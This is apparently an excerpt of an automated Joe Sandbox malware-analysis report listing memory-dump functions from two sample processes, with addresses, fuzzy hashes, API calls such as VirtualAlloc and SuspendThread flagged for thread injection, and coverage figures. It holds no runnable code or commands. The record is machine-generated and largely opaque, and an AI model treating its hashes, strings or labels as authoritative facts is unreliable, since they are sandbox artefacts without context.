Source File: 00000000.00000002.2161418942.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84e5ab2b16fd470e6613f419b3e2c6360b53ce4a706811eb39e8d0cfb39fe059
Instruction ID: c994a3c5475d1dda6c3315cd60442c750315fcd6694c130f94c78ef1c666d6ad
Opcode Fuzzy Hash: 84e5ab2b16fd470e6613f419b3e2c6360b53ce4a706811eb39e8d0cfb39fe059
Instruction Fuzzy Hash: 4AA1B871919A8E9FE788EB6CD8583AA7FE1FB99350F00017AD009D72C2CB792955CB50

Function 00007FF848F20710 Relevance: 1.7, APIs: 1, Instructions: 477
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF848F3341F

Memory Dump Source

Source File: 00000000.00000002.2161418942.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_DWTukBG9R7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 36d999c26c179388efdf173d5fd9217908b3bc6a30d0e4aee041094e642c6d14
Instruction ID: 7dd29ee8aff80c7676508812fa8143517a34e4f4b6e4b5fb906eeb9b1276c106
Opcode Fuzzy Hash: 36d999c26c179388efdf173d5fd9217908b3bc6a30d0e4aee041094e642c6d14
Instruction Fuzzy Hash: 2CF17F7091D68D8FDB95EF68D845AEDBBF0FF59300F0441AAE409D3292DB34A985CB81

Function 00007FF848F20738 Relevance: 1.7, APIs: 1, Instructions: 477
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FF848F3341F

Memory Dump Source

Source File: 00000000.00000002.2161418942.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f20000_DWTukBG9R7.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 3802b2448d2170be331b1da02983bf25f6c42492ea1439d14d0b2cbee6e2318e
Instruction ID: 4a844489129d903069cfb23de0d8233c49b7e796cd891cd1fec39b483b8ea827
Opcode Fuzzy Hash: 3802b2448d2170be331b1da02983bf25f6c42492ea1439d14d0b2cbee6e2318e
Instruction Fuzzy Hash: F0F18F7091C68C8FDB85EF68D845AEDBBF0FF59310F0441AAD449D3292DB34A985CB91

Function 00007FF8490CEC72 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b95041e89a5b0c9dc40841c0263d09731e62be14bfc44bbb01d09ac220ae1ee9
Instruction ID: 597b5a0b8eb46f17b4559060f6f0945488a74b23e49de39035ff5cb50f5084b9
Opcode Fuzzy Hash: b95041e89a5b0c9dc40841c0263d09731e62be14bfc44bbb01d09ac220ae1ee9
Instruction Fuzzy Hash: 0161B17090C78D8FDB59DFA8C8456E9BBF0EF16311F0441AAD449DB292CA389886CB51

Function 00007FF8490CD5AD Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNELBASE ref: 00007FF8490CD681

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: 1d3016991024867c7933deb6485b69b7e316ab8af7284ed3e7f23ee806d95dd5
Instruction ID: dbe80291731106ebd0b90c041aa3085c03524e06faa625ba8a64b719ca959844
Opcode Fuzzy Hash: 1d3016991024867c7933deb6485b69b7e316ab8af7284ed3e7f23ee806d95dd5
Instruction Fuzzy Hash: D3414A70D0864D8FDB58EFA8D889BADBBF0FB5A310F10416ED049E7252DA74A885CF45

Function 00007FF8490D0BD5 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF8490D0CA2

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6af9f664818326fe122b8ce3d9ef27aeee9f754b9e37c9602fd6618b5464e612
Instruction ID: eec0c16f602b396c17f1c1f32009e7a3a8395a32c7da3b772ad298c93578d788
Opcode Fuzzy Hash: 6af9f664818326fe122b8ce3d9ef27aeee9f754b9e37c9602fd6618b5464e612
Instruction Fuzzy Hash: D141E77090865C8FDB98EF98D485BEDBBF0EB59311F10416AD00DE7252DA759886CB44

Function 00007FF8490CEE69 Relevance: 1.4, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00007FF8490CEF41

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: b9e5f11c0cb2a1ee129f03a086613cd74732ae2bdaff685c2fd2b5efeef33170
Instruction ID: 7bfe346a909ef97233f15d887e8456cd2a5d1f315be253ce2269e8b75ad2e44d
Opcode Fuzzy Hash: b9e5f11c0cb2a1ee129f03a086613cd74732ae2bdaff685c2fd2b5efeef33170
Instruction Fuzzy Hash: D8414B70D0864C8FDB59DFA8D889BEDBBF0EF5A310F1041AAD449D7292DA74A885CB41

Non-executed Functions

Function 00007FF8490D39F2 Relevance: 12.7, Strings: 10, Instructions: 178COMMON

Download Yara Rule

Strings

Pl;I, xrefs: 00007FF8490D3A41
(v;I, xrefs: 00007FF8490D3B11
Pn;I, xrefs: 00007FF8490D3A81
pm;I, xrefs: 00007FF8490D3A61
8p;I, xrefs: 00007FF8490D3A91
(m;I, xrefs: 00007FF8490D3A51
(t;I, xrefs: 00007FF8490D3AF1
ps;I, xrefs: 00007FF8490D3AE1
x;I, xrefs: 00007FF8490D3B51
(s;I, xrefs: 00007FF8490D3AD1

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID: (m;I$(s;I$(t;I$(v;I$8p;I$Pl;I$Pn;I$pm;I$ps;I$x;I
API String ID: 0-1754061288
Opcode ID: 96bb249a4c68ec57101fba2a39d9dfcd3e3e850892b506d128d4f44b3c9bfe2e
Instruction ID: 53f08af488ceb5b4d56e21a326ee5e972bd62b1143ea1f9714b5c9e6bebda4fc
Opcode Fuzzy Hash: 96bb249a4c68ec57101fba2a39d9dfcd3e3e850892b506d128d4f44b3c9bfe2e
Instruction Fuzzy Hash: 75512626E0EAC24FF7668E3CA8551357F58FF6369871A02FAC2444F49B8429E905C392

Function 00007FF8490C000A Relevance: 7.6, Strings: 4, Instructions: 2568COMMON

Download Yara Rule

Strings

&rQ9, xrefs: 00007FF8490C24ED
+~, xrefs: 00007FF8490C1670
&rQ9, xrefs: 00007FF8490C28C2
57, xrefs: 00007FF8490C11D4

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID: +~$&rQ9$&rQ9$ 57
API String ID: 0-794875898
Opcode ID: 1a00894f8c47c58f9e7142ae3e2000586f4a53d9eb4a0eff84a3becabe1f9a6f
Instruction ID: 0c6ba9d00a9bafaed913816a0beba1308f1d588656f540b7efb29f2c03890d26
Opcode Fuzzy Hash: 1a00894f8c47c58f9e7142ae3e2000586f4a53d9eb4a0eff84a3becabe1f9a6f
Instruction Fuzzy Hash: B943DD70A156298FDBA4EB18C899BEA73B1FF48344F5041E9D40EA7291DF396E81CF44

Function 00007FF8490CBC0D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0509a251897f5ea326da18e17d4f2eac1ea03cbdff0c123a82ac70d6a5ee7c53
Instruction ID: 7740c068de8e8ffa09717269d8438f692a1fffea3bea53f3b97d50cd74f2071c
Opcode Fuzzy Hash: 0509a251897f5ea326da18e17d4f2eac1ea03cbdff0c123a82ac70d6a5ee7c53
Instruction Fuzzy Hash: F731E270D18A5DCFCF88EF58D491AEDBBF1FB69300F2051AAD019E3281CA35A941CB44

Function 00007FF8490D3D49 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162918799.00007FF8490C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490c0000_DWTukBG9R7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eebfc3c2e6bb2bd6401ff94cbce65d29393a8ba1e96faddb7e133a090b3d61bf
Instruction ID: 890d783535e8eb237712508df4bbd7f125feedeb7e64bca68e9754d02bc16390
Opcode Fuzzy Hash: eebfc3c2e6bb2bd6401ff94cbce65d29393a8ba1e96faddb7e133a090b3d61bf
Instruction Fuzzy Hash: A211F13241EB17BED341EBB4E8C59E6B360FF14358B654662D249CA842D739F0618BA4

Analysis Process: jXzXDduVeIqOfFYGnN.exePID: 1600, Parent PID: 2300COMMON

Execution Graph

Execution Coverage:	4.2%
Dynamic/Decrypted Code Coverage:	22.2%
Signature Coverage:	0%
Total number of Nodes:	18
Total number of Limit Nodes:	1

Executed Functions

Function 00007FF8496B000A Relevance: 2.0, Strings: 1, Instructions: 763
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<, xrefs: 00007FF8496B06A1

Memory Dump Source

Source File: 00000006.00000002.3427716800.00007FF8496B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8496B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8496b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: b9e46b4bc3324cd838aefc4088e0a69d7efdc8715242c1c9960b5a68c1a47e1a
Instruction ID: 8ae42b3472e19a41417f09aace78805da98de73aece5c66d6024aedbb9e3f60b
Opcode Fuzzy Hash: b9e46b4bc3324cd838aefc4088e0a69d7efdc8715242c1c9960b5a68c1a47e1a
Instruction Fuzzy Hash: 4A624C70D0866D8FDBA8EF18C895BA8BBB1FF59340F1441AAD04DE3295DB346985CF41

Function 00007FF8495ACA8A Relevance: .7, Instructions: 700
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9f2e496a7fe5566b1ea12152287befc8c692e43cf56815dd7165f82e85f99a6
Instruction ID: 542aff4b51cddea03af1a6e73dddf01a1ca1a723e8b36683362d30a9adc92685
Opcode Fuzzy Hash: b9f2e496a7fe5566b1ea12152287befc8c692e43cf56815dd7165f82e85f99a6
Instruction Fuzzy Hash: 2E325970919A8D8FEBB8EF28CC597E937E0FB69311F10412AD84EC7291DB749680CB45

Function 00007FF8495ADEE2 Relevance: .7, Instructions: 669COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b9301246035b08794cf11de4d5cd832fd5a2d6f13baa2c9fae40ef82964c482
Instruction ID: 8ec5d6cb4a637ffc57fcd41c7e4234bedfade76f6d323cf40223b8ae160d72da
Opcode Fuzzy Hash: 3b9301246035b08794cf11de4d5cd832fd5a2d6f13baa2c9fae40ef82964c482
Instruction Fuzzy Hash: B4325A70919A8D8FEBB8EF28C8597E937E1FB68311F10413AD84DC7291DB74A684CB45

Function 00007FF8495AEAFA Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X^^, xrefs: 00007FF8495AEC01
Y^^, xrefs: 00007FF8495AEB01

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: X^^$Y^^
API String ID: 0-2972771523
Opcode ID: 8960366995c781d37fd1561c95382f10d3a3db5a45746cf8cf1d54da3965777c
Instruction ID: 6bde8027f34fda6cd5ebe9b19ed2b12a32d6afb3f6d733e364dba97b6c83f99f
Opcode Fuzzy Hash: 8960366995c781d37fd1561c95382f10d3a3db5a45746cf8cf1d54da3965777c
Instruction Fuzzy Hash: 9F51913281A566DBD740BBA8B8855EA77A0FF00779B184677D08CCE093DE2DA08487D8

Function 00007FF848F10738 Relevance: 1.7, APIs: 1, Instructions: 477
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00007FF848F2341F

Memory Dump Source

Source File: 00000006.00000002.3416457354.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848f10000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9ecc24d9b113476fa10756ebe316fe15531c1c489e914e69cdea1a858cf412d3
Instruction ID: 05fb0ba4c44977d230b5ba88fc7710edbc2875de89beba4595b6e225452267e5
Opcode Fuzzy Hash: 9ecc24d9b113476fa10756ebe316fe15531c1c489e914e69cdea1a858cf412d3
Instruction Fuzzy Hash: 76F19D7090C68D8FDB85EF68D845AE9BBF0FF69310F0001AAD449D3292DB35A985CB91

Function 00007FF848F10710 Relevance: 1.7, APIs: 1, Instructions: 474
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00007FF848F2341F

Memory Dump Source

Source File: 00000006.00000002.3416457354.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848f10000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e698b152cbe2be4e7f651c27dd7277ddbe941687c8f9434c277a79e1c0425de4
Instruction ID: 2526024ce57774f053b80eb290a2fb37ea3226806662626f110aa4d1a70ef7b2
Opcode Fuzzy Hash: e698b152cbe2be4e7f651c27dd7277ddbe941687c8f9434c277a79e1c0425de4
Instruction Fuzzy Hash: E9F18F7091C68D8FDB95EF68D845BE9BBF0FF59310F0401AAD408D3292DB35A985CB81

Function 00007FF8490BEC72 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3419030825.00007FF8490B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8490b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ffaaf1fc023a561ec26982044457e087ae56dfad30cac0f798a85230cb6cbd5
Instruction ID: ca25ce9ed591dbd91ba46c2a791abed46ea2be19365769f5fc87e41bcb5af57d
Opcode Fuzzy Hash: 0ffaaf1fc023a561ec26982044457e087ae56dfad30cac0f798a85230cb6cbd5
Instruction Fuzzy Hash: C361AE70D0C78C8FDB55EFA8C8596E9BBF0EF56310F0441AAD449DB292CA789886CF51

Function 00007FF8490BD5AD Relevance: 1.6, APIs: 1, Instructions: 141
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SuspendThread.KERNEL32 ref: 00007FF8490BD681

Memory Dump Source

Source File: 00000006.00000002.3419030825.00007FF8490B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8490b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID: SuspendThread
String ID:
API String ID: 3178671153-0
Opcode ID: d09454b0e1bb03d0842f9b09cda6f1c2b3667f304cdd08ec07fb7cd6291a1b37
Instruction ID: 7cb4ba3d02a26b4adaa5b0428a81ca104f24cd0112c5680650c20faa8a953742
Opcode Fuzzy Hash: d09454b0e1bb03d0842f9b09cda6f1c2b3667f304cdd08ec07fb7cd6291a1b37
Instruction Fuzzy Hash: 4C414A70D0864C8FDB58EFA8D885BADBBF0FB5A310F14416ED049E7252DA74A885CF45

Function 00007FF8490C0BD5 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF8490C0CA2

Memory Dump Source

Source File: 00000006.00000002.3419030825.00007FF8490B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8490b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 033267cc7c72b07981df04051ff97ed89c145d5b77e1fa272aadeb8d7ab5543d
Instruction ID: 2351d7436af8f4976cdd7061bdbc67ef53e97162244d5303f173ed121d00e0e8
Opcode Fuzzy Hash: 033267cc7c72b07981df04051ff97ed89c145d5b77e1fa272aadeb8d7ab5543d
Instruction Fuzzy Hash: 5A41F770D0865C8FDF98EF98D889BEDBBF0EB59311F10416AD049E7252DA75A886CF40

Function 00007FF8495B15C8 Relevance: 1.5, Strings: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^, xrefs: 00007FF8495B37CC

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: ^
API String ID: 0-1590793086
Opcode ID: 0fc577163ac18adbefacc6fd9933c90a16b0d14599e8e619e684b654a6b2c041
Instruction ID: a56be450c5c0e4b16eb29d3c1431de7f558c210d69c26725382a2c12caae4cd3
Opcode Fuzzy Hash: 0fc577163ac18adbefacc6fd9933c90a16b0d14599e8e619e684b654a6b2c041
Instruction Fuzzy Hash: AF81F431E1DE4D4FEBA8EE689859AB977E1FF68740F110179D00DD7292DE35AC428B80

Function 00007FF8495B1448 Relevance: 1.4, Strings: 1, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L^H, xrefs: 00007FF8495B329E

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: L^H
API String ID: 0-3077878093
Opcode ID: 9f0b6530b74300972adbed0a3ae96a6d1e25e3584600b53c7e3e3de70c923bd3
Instruction ID: 4707bde7f5f92960844c8bfc894e21c5cc7eb8d49df7a99359221a8f327a4db0
Opcode Fuzzy Hash: 9f0b6530b74300972adbed0a3ae96a6d1e25e3584600b53c7e3e3de70c923bd3
Instruction Fuzzy Hash: 1E419530E1E98F5FEB98EF2898556BA77E0FF64340B5504BAD41DD7282DE38E8048740

Function 00007FF8495B14A0 Relevance: 1.4, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

n^H, xrefs: 00007FF8495B3492

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: n^H
API String ID: 0-4245689712
Opcode ID: fc082e981d9fde81de5248c9afd0ccf4dbbdaca83a936306046c63c0e631258a
Instruction ID: 3cc2ff338967629aaa591b4358ad8cb26d45b2992bf3114b3e9efa3ef260d76e
Opcode Fuzzy Hash: fc082e981d9fde81de5248c9afd0ccf4dbbdaca83a936306046c63c0e631258a
Instruction Fuzzy Hash: 9D412122F2ED8B4FE6B9BE1C58192B563D1FB787D4B614179D01ED32C5DD2AAC024380

Function 00007FF8495B8A75 Relevance: 1.4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

^^:, xrefs: 00007FF8495B8A7A

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: ^^:
API String ID: 0-2940840868
Opcode ID: a68e4e0d60110317e92a61e4c10df2d80c73ae4eb4941cc022ee9768c6a8b34e
Instruction ID: 637a15b1dde082655de2d845ae514303df8b5bff8203e4b56f3a3684d6940dc6
Opcode Fuzzy Hash: a68e4e0d60110317e92a61e4c10df2d80c73ae4eb4941cc022ee9768c6a8b34e
Instruction Fuzzy Hash: 9951AF35A0CA4ECFEB24EF58D8446FEB7B5FB94351F20067AD41AD3284DA34A9558BC0

Function 00007FF8490BEE69 Relevance: 1.4, APIs: 1, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 00007FF8490BEF41

Memory Dump Source

Source File: 00000006.00000002.3419030825.00007FF8490B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8490b0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a2d9c940a9975bcdad7c5475aeeb6c158ac8ea8c564a3178e6cec6e0bc77af4b
Instruction ID: 1149e6360ccfb1c2053f19561ae765e1fd46fd8fb7b162cad2dff5ef0947a4b5
Opcode Fuzzy Hash: a2d9c940a9975bcdad7c5475aeeb6c158ac8ea8c564a3178e6cec6e0bc77af4b
Instruction Fuzzy Hash: 4D416C70D0864C8FDB59DFA8D889BEDBBF0EF56310F1441AAD049DB292DA74A885CF41

Function 00007FF8495B3251 Relevance: 1.4, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L^H, xrefs: 00007FF8495B329E

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID: L^H
API String ID: 0-3077878093
Opcode ID: 6483af588a9b11c134362ab5ae23516b56ef52b744f4eda5e29b683931476913
Instruction ID: 863faae2579d71e73a51767893c33375abdb356a5ec4229d66f112083cabd851
Opcode Fuzzy Hash: 6483af588a9b11c134362ab5ae23516b56ef52b744f4eda5e29b683931476913
Instruction Fuzzy Hash: 3E31C221E1EE8B5FEBA9EF28581567AA7E0FF7438075500BAC04ED7286DD28EC048740

Function 00007FF8495AD926 Relevance: .5, Instructions: 477COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906c2a5aab11ed464f1b99951de58f6b4722311f44784e99046a39ed98b99cd5
Instruction ID: 6df07865fc0d1d3e140b786da7f489e74f5b1c715990e0d37b1a1862516632ea
Opcode Fuzzy Hash: 906c2a5aab11ed464f1b99951de58f6b4722311f44784e99046a39ed98b99cd5
Instruction Fuzzy Hash: 6CF16C70909A8D8FEBB8EF28C855BE937E0FF59350F10412AD84ECB291DB759984CB45

Function 00007FF8495B3DD8 Relevance: .4, Instructions: 385COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 114def854068b4ae995f2ad3e6d8e1aaa6c3e1e1bb6d7c4ee1107178cfca77bc
Instruction ID: c34bf98d569b3be9fdbdade7a6041cd8a69bea44fc801eecf8e49a641791a493
Opcode Fuzzy Hash: 114def854068b4ae995f2ad3e6d8e1aaa6c3e1e1bb6d7c4ee1107178cfca77bc
Instruction Fuzzy Hash: 08913962D0F9C29FE365AF285C550B67FA0FF31790B1A41BBD0589B197ED28A809C345

Function 00007FF8495B1580 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fddeec8dc4eec32ab7782eec2b7df499ffd7a215d48b2d84ddf3969d2632f51c
Instruction ID: d2797ee7e274ebf7895368b4b976fd773be7f727dd88c52760c83caf676266a9
Opcode Fuzzy Hash: fddeec8dc4eec32ab7782eec2b7df499ffd7a215d48b2d84ddf3969d2632f51c
Instruction Fuzzy Hash: 4C91A231A1DE4A4FD768EE1CE8816B5B3E1FFA8350725017AD05EC3696DE39F8428784

Function 00007FF8495B158D Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef61ba4fff55bde652533c4c9f43360fe24dd25d432c77afd878a094025d1c69
Instruction ID: 51759c59df9629161547ee22d1e672f63e98681e2b1b56d42f996ba04fbb86fd
Opcode Fuzzy Hash: ef61ba4fff55bde652533c4c9f43360fe24dd25d432c77afd878a094025d1c69
Instruction Fuzzy Hash: 2171C331E0DA498FEB68EE68D8459B977E0FF69740B1501AAD009D7296DE30AC45CB81

Function 00007FF8495B3F02 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3425707580.00007FF8495A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8495A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff8495a0000_jXzXDduVeIqOfFYGnN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903b4bac8c2096ac2365fc4880b2643e8e9a99952df382a0f1d041ae1cf80944
